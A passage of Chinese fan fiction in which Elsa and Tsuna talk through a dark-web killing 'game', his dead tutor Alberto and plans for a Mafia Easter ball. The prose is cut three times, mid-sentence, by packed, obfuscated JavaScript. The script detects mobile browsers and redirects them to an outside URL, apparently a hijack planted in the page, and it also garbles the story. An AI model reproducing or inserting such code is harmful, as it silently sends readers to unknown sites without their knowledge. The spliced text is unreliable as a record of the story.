艾莎心头突然掠过一丝奇异的感觉,就好像她曾在哪里见过同样的景象。男人女人从古老的桥上信步走过,遥远处有钟声响起,夕阳在他们脸上落下斑驳的影子。 “纲吉君,可以放歌吗?”她扭头询问汽车的主人。 “当然,请便。”沢田纲吉只是微微点头,他开车时总是很专注,尽管现在他再也不至于把车轮碾到彭格列本部精心打理过的花坛正中央。 艾莎按了一下车里的音响,JohnDenver的’TakeMeHome,CountryRoads’在狭小的空间响彻,悠扬的民谣将刚才那股奇异感冲淡了。 这首歌让艾莎想到自己的第一个大学室友,那是个爱唱歌的自来熟,经常在宿舍里放这首歌。 有时艾莎会坐在上铺的床沿边、弹着吉他给她伴奏,她在窗边慢慢熬很香很香的银耳羹。 “艾莎小姐唱歌很好听。”沢田纲吉突然说。他还是目视前方,但话中带着笑意。 艾莎这才发现她刚才在不自觉的跟着哼唱。 “嗯,我还会唱《龙珠》的主题曲喔。”她慢慢的打了个哈欠,将注意力放到沢田纲吉身上。 室友以前会买那种五颜六色的女性杂志回来,上面记述着各种神奇的知识,她们两个当时看得那叫一个津津有味啧啧称奇。 其中有位恋爱达人以斩钉截铁的语气说,从男人开车时不自觉流露的习惯,就能判断出这个人的性格: 能好好控制速度的男人相处起来会比较轻松;会主动切换车道的男人行事果决能成大事,而如果会在换道前做好提示,就说明这个男人仔细又耐心,是个好的倾听者;遇到有路怒症的男人一定要提高警惕,因为会有暴力倾向。反之,能理性处理的男人有责任感,遇事懂得换位思考。 嗯。差不多就是这些。她还记得室友那时一脸痴笑,显然是联想到了什么人;而当时的艾莎在心里对照着高达历代主角的战斗风格,深深觉得恋爱杂志恐怖如斯。 想到这儿,艾莎又打了一个哈欠。她把头靠在车窗上观察着沢田纲吉。 沢田一直把速度维持在70左右;他并不会过于频繁的切换车道,但换的时候会好好地打转向灯;而且不要说路怒症了,开到现在他连喇叭都没按一下呢…… 艾莎也不知道自己为什么会突然想到这种久远的知识,她的思绪随着歌声散漫地漂浮起来。 “艾莎小……” 沢田纲吉侧过头,他这才发现艾莎不知何时靠着车窗沉沉地睡着了。夕阳在她身上镀上一层金边,脸上细小的绒毛清晰可见。 沢田失笑。他将车速放缓,又将音乐声调小。 他的心安宁的跳动着。 11. 第11章 农夫与蛇(结尾小修) “……小姐,艾莎小姐。我们到了。” “…这是哪儿?” 入目是在黑暗里发着光的汽车仪表盘,还没完全清醒的艾莎下意识问道。 她的目光显得有些呆滞,如同一台机器正在缓慢的重启。 “喔,对,这里是纲吉君的汽车,我们在回公寓的路上……什么啊,我竟然睡着了啊。” 艾莎进行了一连串轻声的自问自答,沢田在她身边露出了颇为无奈的表情。 “谢谢纲吉君送我回来。” 简单的道谢后,艾莎解开了安全带。然而一旁的沢田却没有动作。 “纲吉君不一起上楼么?” “如果觉得累的话,今天就先好好休息吧。”沢田体贴地回答道。 “刚刚睡了一觉已经好多啦。”艾莎说,“而且纲吉君应该也有很多事想问我吧。” 沢田纲吉看着她。她现在的表情非常平静,看上去的确已经恢复了一些精神。 他只稍稍的思索了一下,便道:“那么,我就打扰了。” -- 公寓的摆设和最初相比依然没什么变化,只是原本摆放在客厅的地毯被拖到了阳台上。 “啊……”察觉到沢田的视线,艾莎立即道:“我有时会在阳台看看海什么的。今天情况特殊,所以没来得及恢复原样。抱歉抱歉。” “没事。艾莎小姐可以随意使用房子里的东西,不用在我来以前特意收拾的。”沢田不在意的笑了笑。 和往常一样,他们在餐桌处坐定。但谁都没有开口说话,先前在医务间的沉默氛围似乎又回来了。 “…唔,我是不是应该先从今天发生的事说起?” 艾莎率先道。 她一脸纠结,仿佛他们身处的不是舒适温馨的公寓,而是警察局的问询室,四面墙上都写着阴森的“坦白从宽抗拒从严”。 沢田纲吉犹豫了一下,然后摇了摇头:“艾莎小姐记得那台摄影机么?【game】的发起者将你们的游戏过程制作成了视频……我收到了那个视频。” 他说得很隐晦,然而意思也表达得很明确。 闻言,艾莎脸上精彩纷呈。 “虽说在医院看到纲吉君的部下时我就隐隐有了预感……”她痛苦捂脸,“但实际上听到果然还是……啊,可恶,这也太羞耻了,那我放狠话装逼的样子岂不是被看了个正着……” 她的手在脸上不停地揉啊揉,整个人崩溃得宛如世界名画《呐喊》。 如果在这个时候夸赞她“干得好”或评价说“很帅气”,恐怕也只会雪上加霜吧…… 沢田还在思考怎么把面前这坨灵魂出窍的人形物体拉回来,人形物体已经开始散发着黑气喃喃自语: “…但纲吉君为什么会收到视频呢,你不像是会和那种变态有联络的样子,果然这件事和Mafia有着更深的联系吧……老实说我有超级多的问题想问纲吉君。” 她的目光闪了闪,终究还是鼓起勇气话锋一转,抬头直视着沢田。 “——但纲吉君肯定也有想询问我的事吧?比如为什么我能熟练的使用那种武器,为什么会有可以放倒成年男人的身手。难道我欺骗了纲吉君吗,难道我接近你是别有目的吗——身为Mafia首领的你,肯定会对我产生这样的怀疑吧?” 在艾莎的想象中,这些话说出口后,气氛就应该突然凝滞。然后沢田纲吉面色一沉,既礼貌又戒备的说“既然如此,可以请艾莎小姐老实交代一切么”之类的话。 然而事实并非如此。 沢田的反应居然是哑然失笑。 “…原来艾莎小姐是这样想的么?” “当、当然啊,一般都会这样想吧。毕竟我当时表现得妥妥像个刀口舔过血的危险分子啊……”艾莎犹豫着道。 和沢田纲吉的相处一直都很轻松愉快,可这样的相处是基于沢田把她当作一个无害的普通人。 这就好比路上遇到淋湿的小狗会考虑带回家养,但遇到冻僵的蛇就只会绕道走一样。 ——现在告诉你,你带回家并报以信赖的并不是什么无害的小动物,而是一条亚马逊巨蟒,那第一反应可不是得质问一下当初巨蟒伪装成小动物是何居心么? 可是沢田却平静道:“非要说的话,那个视频只能证明我对艾莎小姐的实力估计有误。但并不影响我之前的其他判断。” “……诶?” “不,应该说是更加印证了我的想法——艾莎小姐是非常善良且聪慧的人。如果换做其他人,恐怕不会想到或愿意以那样的方式去引导莱因哈特。我认为这样的艾莎小姐相当值得信赖,并没有需要怀疑的地方。” 沢田纲吉的声音一如既往的温和冷静。 艾莎仔细观察半天,确认他并没有因为气急败坏而在阴阳怪气地说反话。 “但、但纲吉君不会觉得我表现得太冷静了么,不像个普通的大学生什么的!?” “每个人都有自己的故事,这种事在Mafia的世界也不算罕见……当然,如果艾莎小姐愿意说,我也一定会听。但这并不会影响到我的最终判断。” “……那纲吉君难道不会觉得我是隐藏实力别有居心吗?” 沢田微微摇头:“在明知有摄影机的情况下,艾莎小姐也没有选择藏拙,反而表现得相当大方。在我看来这实在不能称作是隐藏实力。而之前就更加没有了……唔,这么一想,当初你在复仇者监狱过于镇定的表现也有了合理解释。” “诶?诶???”进展过于顺利,艾莎感到有点抓狂。 这就好比你是一条冻僵的蛇,你不咬人但没人愿意相信你,结果有一天你突然遇到了一位毫不犹豫把你揣到怀里捂着的农夫。 这种时候比起感动更多的可能是担心吧?喂喂喂这个农夫是怎么回事,下次再遇到其它的蛇也会做同样的选择么?上一个这么做的农夫可是不光已经死翘翘、而且还被写成寓言故事嘲讽了啊? ——这么善良的农夫行走在这么一个遍地都是毒蛇的世界真的不要紧么!?感觉这个人随时都可能被咬死啊!? “…虽然我超级感动,但是纲吉君未免也表现得太没有戒心了!”艾莎不由崩溃道,“这么简单就给予信任你难道是什么少年漫的男主角么?再多试探我一下啊!” “艾莎小姐……我好歹是个真实存在的人喔?”沢田流着冷汗试图安抚她。 “我现在的表现可能都是装出来的啊,也许我就是什么敌对Mafia派来的人,想要刺探彭格列的情报什么的!” “连死气之火都没有掌握的话,是没办法刺探到什么有用信息的。”沢田苦笑道。“事实上会问出这样的问题,也恰恰证明艾莎小姐对Mafia没什么了解。” “那我也可能是CIA或者MI6派来的人啊!” “……不,我和这两个机构的人员都打过交道,他们绝不是艾莎小姐你这样的路数……” 见艾莎丝毫没有停止的意思,沢田纲吉立即道:“但最基本的试探工作我还是做了的。比如我有调查你的身份信息……” “可那个东西是可以作假的!”艾莎愤愤不平——诺玛就可以帮忙做到! “还有死气之火、普通人是看不到死气之火的。我之前有在你面前点燃过死气之火,但艾莎小姐当时毫无反应。可见在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658770|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这点上你也没有说谎。” 沢田哭笑不得,他边解释边纳闷事情为什么会变成这样。 好吧……这听上去倒像个正儿八经的试探了。 艾莎语气稍缓:“……那我也可能就是那种不会死气之火、但想走出其不意路线的敌人啊,比如伪装成不谙世事的女孩找机会刺杀你什么的。” “…艾莎小姐觉得我走到今天,究竟经历了多少次刺杀呢?”沢田纲吉说得非常平静,“虽然这两年是少了,但我在应付这种事情上的经验还是相当多的。况且艾莎小姐也不可能是杀手,杀手讲究的是一击毙命,不可能会参与进【game】的事情中。这样的行事逻辑与杀手是相悖的。” “唔、”艾莎一时语塞,毕竟她的确既不是特工也不是杀手。但她还是觉得沢田应该更谨慎一点。 “都说了可能是装的嘛……也许我就是演技很好呢。”她目光闪烁一下,然后别过了头,“……又或者我是什么超级恐怖的怪物呢?” 沢田纲吉闻言忍不住笑起来。看到艾莎瞪视过来的视线时,他又立即道: “抱歉抱歉……只是突然想到了第一次见面那天,只不过角色互换了而已。那时我也很不赞同艾莎小姐轻率的选择和Mafia扯上关系,可当时你是这么回答的吧?‘如果是纲吉君这样的Mafia,那么我完全不介意扯上关系’。” 对面褐发青年的笑容温柔而清浅。仿佛预感到了什么,艾莎的心怦怦地跳起来。它变得轻飘飘的,同时又好像正剧烈的收缩着。 “所以现在我的答案也是一样的。如果是艾莎小姐这样的怪物——” 他刚要说下去,却被艾莎惊慌失措地打断了。 “啊啊啊啊啊啊啊啊啊啊啊我知道了、我知道了!我我我明白纲吉君的意思了!不不不不不不用说下去!” “好、好的。”沢田乖乖停下了。他脸上带着种纯然的无辜与疑惑。 可这时的艾莎无暇他顾。 脉搏加快了。脸和心都变得超级烫。如果现在给她测血压,血压计会爆掉也说不定。 ——真奇怪,当初她说的话有这么恐怖的效果么;真讨厌,沢田为什么可以若无其事的说出这种话!他他他知不知道,如果不是她及时打断,她的心脏也许会突然爆掉,然后他就要背负上一条人命了! 艾莎无意识地瞪视着沢田,脑海里飘过无数烂话。 也许是她沉默的时间太久。沢田非常担忧且无自觉的关怀道: “…艾莎小姐,你没事吧?总觉得你现在的样子有点像一平……啊,这么说起来的话,艾莎小姐和中国也是渊源颇深,难道你也修习过类似‘筒子炸弹’的武技……” “什、什么是筒子炸弹?”她下意识问道。 “就是……” 他们花了差不多十来分钟探讨一平还有筒子炸弹的原理,期间沢田纲吉还顺便进行了一小段晴属性火焰的知识教学。 “……好神奇。原来中国还有这么奇妙的功夫么?我回头得去问问我二师兄……”艾莎说道。 现在她的体征总算恢复正常了,不,准确说是从巨大的感动冲击中恢复了过来。 “第一次见的时候我也觉得非常神奇,总觉得已经超越人体生理结构了……不过久而久之就习惯了。”沢田带着点怀念的笑意。 见艾莎已经神色如常,他才重新回归正题:“…不管怎么说,能够解除误会真是太好了。其实我今天的确有其他事想要与艾莎小姐商量。” 他停顿一下,表情变得严肃起来。 “——关于艾莎小姐与莱因哈特这次被牵扯进的、名为【game】的恶劣游戏。” 12. 第12章 阿尔伯特(新章) “艾莎小姐知道darkweb么?”沢田问道。 “当然。”她点了点头。 Darkweb就是所谓的黑暗网络。那是隐匿在万维网背面的、一个个隐蔽的阴暗巢穴,只有使用特殊的授权、软件或者计算机才能开启,里面充斥着各种超越人类想象极限的非法交易。 ——那是一个互联网中的暗世界。 “【game】就是一个darkweb。五年前、或者更久之前,一个匿名者创造了它,他自称是‘神’,并聚集了一群所谓的‘玩家’。他们以杀人为乐,且藏得很隐蔽,”沢田纲吉顿了顿,“……我一直在追查他们。” 说完,沢田自己在心里嘲讽似的笑了笑。他觉得这个说法让他听上去像个正义的警察。 “最开始的时候,无论是警方还是Mafia都没能察觉到他们的存在。”沢田闭了闭眼,“……直到五年前,彭格列的一名前家族成员牵涉其中。” 他努力的控制住了自己的情绪。然而在提到“家族成员”时,沢田的眼中还是闪过一丝骇人的光芒。 艾莎非常熟悉这种神采——那是混杂着懊恼的仇恨,只有想要复仇的人才会有这种神态。 这是沢田第一次在她面前流露出负面情绪。可给人的感觉又与寻常不同。 混血种的世界充斥着一出出现代版希腊悲剧,‘复仇’是其中最永恒的主题。 然而受到龙族基因的影响,他们流露出的愤怒至凶至暴,带着种“爷不好过尔等也休想好过”、“爷要炸了这个世界然后大家一起去死”的熊孩子气息。 可沢田纲吉此刻的眼神那么悲哀。就好像徒手握着利刃,比起伤害敌人,更像在凌迟自身。 他这样温柔的人,本不该露出这样的眼神。 沢田轻轻呼出一口气,然后以一种平淡到不可思议的语气继续道: “他的名字是阿尔伯特。” 这是久违了的4个音节,仿佛一道魔咒。 说出口的那一瞬,凝固已久的旧时光仿佛又开始流动。就好像风吹翻书页,故人在树荫下沉默的站立着。 他很久都没能再继续。 “……对纲吉君来说,是很重要的人吧。”艾莎低声问道。她并非有意打断,只是觉得这一刻沢田离得那么远。 沢田纲吉微微摇头。他没有看她,目光一直聚焦在房间的某个角落。 半晌后他才重新开口,嗓音喑哑: “他是我以前的意大利语老师。其实不是什么好人,拿着两份工资,骗我说过很多脏话。” “邋遢、不尊重女性、怪脾气、酗酒……”他数落着阿尔伯特的缺点,顿了顿又道,“他只喝格拉帕。他说西西里男人就该喝格拉帕,可我一直觉得是因为它很便宜。” 他大概没怎么和别人谈过阿尔伯特,自己平时也尽量不去想,所以才描述得这么生涩。 “他平时一个人住在彭格列总部的后山,失踪很久也没人发现。我也没发现。” “等我再找到他的时候……样子很糟糕。后来我把他葬在后山的墓园里。” 他只说了这么寥寥几句,错乱而无重点,可又让人不敢惊扰。 说完后,沢田恢复了平常的冷静克制: “后来,我们在他的电脑里发现了一个奇怪的程序,打开以后就是【game】的登入界面。当时他的账号状态已经变成已注销。对方水平很高,即使是彭格列的技术人员也无法恢复。” 艾莎认为这时她应该开口说话了,但她又不知道说些什么好,只能默默听着。 这是她第一次觉得并讨厌自己反应慢。 好在沢田纲吉并不在意这些,又或者他根本没注意到。他只是继续道: “但是那个账号保留了收信功能,【game】的发起者偶尔会发送图片或者文字,都是很奇怪的内容,我找过一些侧写师和……其他有经验的人,他们说那些东西不像是出自同一个人。” “还有另外3次,”他停顿一下,“邮箱里收到了视频。里面录制了游戏的过程。” 今天才亲历了游戏的艾莎当然明白这句话所溢出来的血腥味。 她没有问有没有找到幸存者之类的问题,因为从沢田现在的表情就能看出答案。 “第一个视频,夫妻二人被关在封闭的房间里,正中放着一把匕首。墙壁四面都贴着铁块,很难破坏。规则是只有一个人能活着走出房间,最后男人为了保护妻子选择自尽。但是门没有打开,因为妻子当时怀孕了。房间里其实有三个人。” 沢田的声音带有一种刻意的冷硬。 艾莎莫名有种感觉,每个视频他都强迫自己看了很多遍,多到……把每一帧画面都刻在了脑子里。 所以他在诉说时才能维持这样的冷静,就像血肉被重复切割多次后人不会再感到疼痛。 “妻子对着丈夫的尸体待了很久,最后她崩溃了,选择拿刀剖开自己的肚子。最终找到地方的时候,他们的尸体已经不见了。孩子被放置在房间外,但他太小了,最后没能活下来。” 沢田纲吉的声音颤了颤,但他迫使自己继续。“现场被清理得很干净,没留下任何线索。另外两个视频连地点也找不到。” “那段时间消息来得很频繁,但又在某天突然中止。邮箱里再没收到过任何消息。” “是因为发起者察觉到纲吉君在关注这件事么?”艾莎问。 “……不。”沢田沉默了一会儿才道,“在【game】销声匿迹之前,我对它的调查就中止了。” “当时我刚刚继承彭格列,阻拦我的人很多。他们看了那些视频,说【game】很恶劣,但也仅仅是恶劣而已。如果不是阿尔伯特,它甚至不属于Mafia该管的领域。我作为刚刚继任的首领,有很多需要排在它前面处理的事务。” 沢田纲吉没有看艾莎的眼睛,而是垂下视线,语调带着轻微的讽刺,但他讽刺的却是他自己: “他们说的……不能算错,回想当时的情况,这个判断甚至很对。在阿尔伯特死去的那一刻,家族与这件事的联系就中止了。从此【game】属于我的私人事务。首领当然有权动用家族势力解决私事,可前提是他没有被愤怒和无力感冲昏头脑,将整个家族抛在身后。” “纲吉君。”艾莎抿唇。 沢田微微摇头,他示意她等自己说完。 “当我终于可以回头的时候,【game】突然销声匿迹。直到今天。” “——可已经五年过去了。今天收到新视频的时候,我的第一反应并不是愤怒,只是想着我终于有机会了结这件事。直到在视频里看见艾莎小姐那一刻,我才察觉到自己变成了多么可怕的家伙。如果被五年前的我看到,他大概会很失望吧……” 他的目光穿透艾莎,就像看到了遥远的光阴和以前的自己。 然而再开口的时候,沢田纲吉又变回了那个理智而疏远的Mafia首领。 “我告诉艾莎小姐这些,是希望得到你的帮助。所有参与【game】的人都会收到那个视频,你一定会引起他们的注意,因为你挑衅了他们所有人。也许你会得到一个账号,你也会变成……一个饵。” 他说得很礼貌,意思也很明白,甚至带点胁迫的色彩——这件事很危险,但是已经发生了,所以除了帮助沢田,艾莎没有其他选择。 同时她会变成一个诱饵,沢田要利用她钓出幕后的所有人。 他直视艾莎,坦白道: “在这件事上,我无法保证艾莎小姐的安全。我并不是什么匡扶正义的警察。我要的只是彻底结束这件事,那些人的终点也不会是法庭。” 他没有把话说完,而是将杀意泯没在唇齿间。 “艾莎小姐,你愿意帮助我么?” 沢田一字一顿地说道。他仍然保持着礼貌的风度,眼中却闪过刀一样的寒意。 他终于显露出一点传统意义上的Mafia该有的样子,气势凌厉得好像如果艾莎不答应,他就会从怀里掏出一把武器崩了她一样。 然而艾莎不为所动。她老早就觉得沢田纲吉不擅长使用任何锐利的武器,在伤害到他人以前他会先割伤自己。 “明明应该先给鞭子再给糖的,纲吉君真不擅长交涉啊。”她调侃般笑了笑,“在说出那么感动的话以后再来威吓这一套,效果反而会打折喔?” 这句话轻而易举的将刚才肃杀的气氛搅混了。 沢田的目光闪了闪,他维持着面无表情的样子,只是微微抿唇。 “呜哇真可怕……好吧好吧,那你站起来一下,我就回答你。”艾莎随意地挥挥手,清宫戏里那些老奸巨猾的老太后都这样使唤纯良的小太监。 沢田纲吉:“……” 他本来就不是性格强硬的人,在艾莎的坚持下,他只好叹了口气,然后依言站起了身。 艾莎也跟着站了起来,她来到他面前,两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658771|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人严肃的四目相对。 然后她向前一倾身,把头轻轻靠在了他的肩膀上。 沢田纲吉花了足足三秒钟才反应过来这居然是一个拥抱。 准确说应该是半个拥抱。毕竟沢田浑身僵硬,他在艾莎靠过来的时候甚至条件反射的微微抬起双手以示清白。 ……当然也可能是投降的意思。 他的怀抱干燥又温暖,带着种让人心安的气息。 “嗯,是说谎的味道。”艾莎说,即使这个时候她还不忘玩一个jojo梗。 “说什么‘不保证你的安全’,要真是这样倒好了……明明一副忍受着巨大的痛苦马上就要崩溃的样子,整天吸吸吸你是痛苦牌吸尘器么?”她冷淡的数落着。 “……” 艾莎并没有伸手环抱他,只是倾身靠在他身上而已。要挣脱这个拥抱很容易,只需要动一下就行。 “纲吉君还有其他事没有告诉我对吧?你先前的表情不只是仇恨而已。”这时艾莎静静道。 沢田纲吉身体一僵。 他突然明白了这个拥抱真正的用意。 并不带任何旖旎色彩,甚至不能算作朋友之间的安慰。 它存在的意义只有一个——那就是此刻他们不必看到彼此脸上的表情。 这是恰到好处的体贴。面对这种体贴他只挣扎了一瞬便妥协了。 原本微微抬起的手又慢慢垂了下去。 沢田重新闭上眼。他的声音轻得像在分享秘密,一个不曾告诉过任何人的秘密: “……他出事前来找过我。但那时候……我满脑子都是其他的事,所以没能察觉到异样。” “后来我想过很多次,当时……为什么没多问一句呢。” 沢田没有说出阿尔伯特的名字,但艾莎听懂了他的意思。 对他来说,这才是一切罪孽的开始。 如果当初多问一句“怎么了”,是不是后面的一切都不会发生? 可他什么也没有问,是不是意味着后面发生的一切都是他的责任? 他流露出一种近乎怯懦的脆弱和柔软。他们所处的空间盛满了水一样的悲伤。 “……纲吉君告诉我一个秘密,我也告诉纲吉君一个秘密。”艾莎沉默一会儿,然后道。 “看完那个视频,你一定觉得我善良又正义吧,看到罪犯只会想到让法律来制裁、和你这种‘罪孽深重’的Mafia不是一路人什么的。”艾莎慢慢地说,她的眼神空洞极了,还好沢田现在看不到她的表情。 “可我会帮莱因哈特只是因为他的眼神,那么绝望又那么懦弱,曾经、我只要一照镜子就能看见那种眼神。”前半句话她说得咬牙切齿,可之后叙述的姿态却慢而平静。 “……后来有个人告诉我,这个世界上不存在什么命运。一个人的路要自己选,选定了、一直走下去,来阻拦的人杀掉就可以了。之后他收养了我。” “再后来那个人死了。我本有机会阻止他,但我没有。”她停顿一下,才道,“……那之后我一直睡不着,吃了很多药但是没什么用……有时候我会想这算不算后悔。” 她说得轻描淡写,带着种已经干涩的麻木。可也许就连她自己都没有注意到,说话时她的身体正微微颤抖。 沢田纲吉犹豫一下,终于还是动作生疏的伸出手,慢而轻的将她揽入怀中。 “但死了就是死了。无论生前多么痛苦,死后人的意识就此消亡,再没办法感受到任何东西。所以也不存在什么‘死不瞑目’。”她近乎冷酷的说道。 “没必要把他们的死揽到自己身上,这种事除了自我折磨以外一点意义也没有。活下来的人能做的很有限。我们要把他们未竟的事情做完、好好告别,然后带着回忆继续往前走。” 艾莎轻轻环住沢田纲吉的腰。此刻他们终于变成相互拥抱的姿势。 “——让我们找到【game】的老巢,然后用1吨炸药什么的把他们连人带地方一起炸上天。那场面想必很美,火就像雨一样落下来……”艾莎低声道,“然后我们去阿尔伯特墓前和他喝最后一杯酒——你刚才说他喜欢格拉帕是么?” 她的声音里带着种诗意的暴虐。如果是14岁的沢田纲吉听到这样的话,一定会觉得这人不是个善茬,果然还是离远一点比较好吧。 可24岁的沢田纲吉听了只是默默收紧手臂。他把怀里的女孩抱得那么紧,就好像他等这么一个人已经等了很久很久。 13. 第13章 舞会 “诶,意思是明天我可以放假吗?”真是意外之喜,女孩脸上顿时惊喜交加。 “是的,缺的课等周六或者周日再补上。但是每天的冥想不要忘记做啊……”褐发青年有点无奈地提醒道。 “好的好的。我有在认真做啦,每天洗澡的时候都会想象自己端坐在瀑布下面,然后查克拉流转全身什么的。” “……艾莎你刚刚说了查克拉对吧。”青年微微眯眼。 “…不我说的是死气之火,你听错了。说起来今天天气真不错、”女孩有点心虚的移开眼神,结果看见窗外大雨如注,只好又道,“……纲吉君明天是有什么事么?” 此刻,艾莎与沢田纲吉正身处彭格列总部的某个不起眼房间。 他们面前的电脑经过技术部门改造,号称“绝对不会被黑客入侵”&“搭载了世界上最先进的翻译功能”,除了造型夸张不易搬动以外没有其他缺点。 关于【game】的所有资料都存放在其中,这几天艾莎致力于跨越语言障碍把它们看完。工作结束后沢田会来问问她的进度,两个人偶尔聊些闲话。 听到她的问题,褐发青年颇为苦恼地揉了揉眉心: “前段日子太忙,完全把这件事忘记了——每年的复活节舞会是Mafia社交季的开始,所以必须得去露个脸。” 看得出来,他全身细胞都在抗拒这项应酬活动。 艾莎一愣。 “Mafia社交季”是个过于突兀的词汇,这种感觉就好像赫敏·格兰杰突然说要代表食死徒去打魁地奇一样,总之违和感满满。 她把折磨她良久的《意大利语入门100句》放到一边,颇为谨慎地槽道:“你们Mafia是还活在上个世纪么……” “说是比较注重传统。”沢田默默捂脸,“但老实说我也不知道为什么会有这种装模作样的传统……” 这时,一道男声悠然插了进来。 “这并不奇怪。据说创立彭格列的Ⅰ世本人就是贵族出身,Mafia存在这种传统当然也是情理之中。” 艾莎与沢田一起看向门口,前者是好奇,后者却带着点久违的惊恐意味。 “Reborn!?”年轻的首领心中警铃大作。有那么一瞬间他梦回14岁,就好像接下来Reborn会穿着一身奇装异服以小婴儿的状态跳到他脸上、然后淡定的冲好奇的艾莎打招呼…… “Ciao.”仿佛完全看穿了沢田的想法一般,Reborn似笑非笑的瞥了他一眼。 “Buonpomeriggio.”艾莎好奇的看看他,然后道。 这是比较正式的“下午好”说法,她才从《意大利语入门100句》里学到。 打完招呼,艾莎有点迟疑的看向沢田——这几天在总部,她一直是用的“菲奥娜·怀特”这个假名(源自沢田给她的假id卡)。 可对方看上去与沢田关系匪浅,她不确定要怎么自我介绍。 “我是Reborn,蠢纲的家庭教师。”看出她的为难,Reborn唇角微勾,“久仰大名,伊丽莎白小姐。” 他用的是日语,且语气听上去意味深长。 “…喔!”深谙中国文化的艾莎迅速反应过来其中的辈分关系,她有点紧张的冲Reborn露出一个讨好的笑,“师公好师公好,叫我艾莎就行啦!” 同时她下意识抱拳回礼,摆出来的动作又喜庆又脑残,神经病程度大概和脑白金广告里那对360度不停旋转的老头老太不相上下。 Reborn唇边的笑容突然一僵。不知为什么他好像完全丧失了和艾莎继续对话的兴趣。 “咳,Reborn,有什么事么?”沢田轻咳一声,恢复了平日身为首领的稳重。 “库洛姆那边来了消息,关于‘那个’的进展不是很顺利,她需要延长修行时间。” “果然还是太勉强了么?”沢田纲吉苦笑,“让她压力不要太大。按照计划,到时就算只有弗兰……” 他们并未顾忌艾莎的存在,反而当着她的面继续交谈了一会儿。 ……虽然艾莎基本上没怎么听懂,但她记得库洛姆这个名字。 是那天与沢田一道的女孩,有着紫色的长发和坚定的眼神,艾莎希望她一切都好。 最后,Reborn慢条斯理地说: “……这也意味着你需要一个新舞伴。” 沢田纲吉心中再次警铃大作——刚刚他还奇怪为什么会是Reborn来转达库洛姆的消息,原来他的目的在这里么!? “——艾莎小姐,不知你愿不愿意当蠢纲这次的舞伴?”果不其然,Reborn再度将目光投向了艾莎。他表现得彬彬有礼,同时却又散发出一股不容拒绝的气场。 骤然被提到名字,艾莎一脸懵逼,像是不明白为什么话题又转回到了她身上。 “……舞伴是指?” 面对女士,Reborn总是表现得很有耐心,哪怕只是表面上。 “明晚的复活节舞会。作为彭格列的Boss,蠢纲需要跳开场舞。” 这件事一听就很麻烦,而且沢田也不像是找不到其他舞伴的样子。 艾莎下意识就想拒绝。 一旁的沢田纲吉同样面露难色。通过这么多天的相处他已经看出艾莎本质上是个跟他不相上下的阿宅,邀请一个阿宅出席社交场合什么的已经不是强人所难的程度了。 将心比心之下,他觉得Reborn委实不该给她出这种难题。 然而突然想到了什么之后,艾莎眼前一亮,“是很盛大的场合么,有很多Mafia会来?” “当然,几乎所有上得了台面的Mafia家族都会出席。”Reborn道。 “那么这个德维尔家族也会来吧?”艾莎翻看了一下桌上的笔记确认意语发音。 沢田纲吉愣了一下。前两天他与艾莎谈论过德维尔,这是一个中型Mafia家族,依靠人口买卖和药品起家。五年前他曾怀疑【game】与德维尔有关,但苦于线索中断。 或许是察觉到彭格列有意无意的打压,近年德维尔放弃了这两项非法交易,转而投资房产与医疗,算是在“洗白”道路上走得比较成功的Mafia之一。 “这倒是个机会。”从Reborn那里得到肯定的答复后,艾莎转向沢田,“还记得我们昨天讨论的么,【game】的模式不像是靠几个有钱的黑客就能发展起来的,背后存在其他势力的可能性很高。” “原本的计划是等待【game】给我发送游戏账号,但对面相当沉得住气,他们注销了莱因哈特的账号,却迟迟没有联系我。当然也可能是我当时表现得太可疑了。可现在我们有了PlanB——” “如果看到我参加舞会的话,他们基本不可能抵御得了与我当面交流的诱惑。”她得意道,“我们分析过发起者的行为模式。对幕后者来说,面对挑衅过他们的我就像一个饿了三天的人面对一盘鲜嫩多汁的牛小排那样令人难以抗拒。” 沢田纲吉叹了口气:“……不要随便把自己比喻成一盘菜啊艾莎。” “啊、抱歉抱歉,我就是这么个意思么……”自知失言,艾莎不好意思的挠挠头。 “不过这个计划怎么样?即使最后的结果偏向negative,我们也可以暂时排除掉【game】幕后存在Mafia的可能性,转而调查其他势力。”她向沢田征询。 面对这样全然的好意沢田纲吉当然一个“不”字也说不出口。他短暂地思索一下,然后道:“…可行。但我还有一个要求。” “是什么?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658772|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“明晚舞会的应酬会很多,我也许不能一直顾到你。”沢田认真道,“但不要让自己陷入危险的境地。艾莎,到时尽量待在我身边。” 艾莎先是一愣,继而冲他露出一个灿烂的笑:“嗯!” Reborn静静地听着他们你来我往的商量。他压了压帽檐,遮挡住自己饶有兴致的眼神。 